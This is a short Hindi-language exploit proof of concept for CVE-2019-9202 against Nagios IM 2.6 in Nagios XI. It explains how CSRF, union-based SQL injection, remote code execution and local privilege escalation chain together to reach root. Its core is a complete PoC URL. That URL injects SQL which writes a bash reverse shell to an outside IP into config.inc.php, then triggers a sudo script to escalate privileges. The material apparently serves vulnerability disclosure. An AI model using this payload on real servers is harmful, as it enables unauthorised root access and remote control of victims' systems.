CVE-2019-9202

Nagios IM 2.6 रिमोट कोड निष्पादन शोषण: CSRF + SQLi + RCE + LPE --> रिमोट रूट

विवरण

Cross-Site Request Forgery (CSRF) / प्राधिकरण बाईपास (CVE-2019-9203) को श्रृंखलित करके, Union-आधारित SQL इंजेक्शन (CVE-2019-9204), रिमोट कोड निष्पादन (RCE) (CVE-2019-9202) और स्थानीय विशेषाधिकार वृद्धि (LPE) (CVE-2019-9166) का शोषण करना संभव है, जिससे दूरस्थ Nagios XI सर्वर पर root विशेषाधिकार प्राप्त किए जा सकते हैं।

आवश्यकताएँ

पीड़ित को Nagios XI में प्रमाणित होना आवश्यक है, जहाँ तक मुझे पता है, सबसे कम विशेषाधिकार पर्याप्त हैं।

PoC

http://nagiosxi.local/nagiosxi/includes/components/nagiosim/nagiosim.php?mode=update&token=&incident_id='union%20select%201,2,3,4,"';echo%20%27print%28\"bash+-i+%3e%26+/dev/tcp/192.168.13.37/31337+0%3e%261+%23\"%29%3b'%3e%3e+/usr/local/nagiosxi/html/config.inc.php%3b+sudo+/usr/local/nagiosxi/scripts/repair_databases.sh%3b%23",6,7,8,'x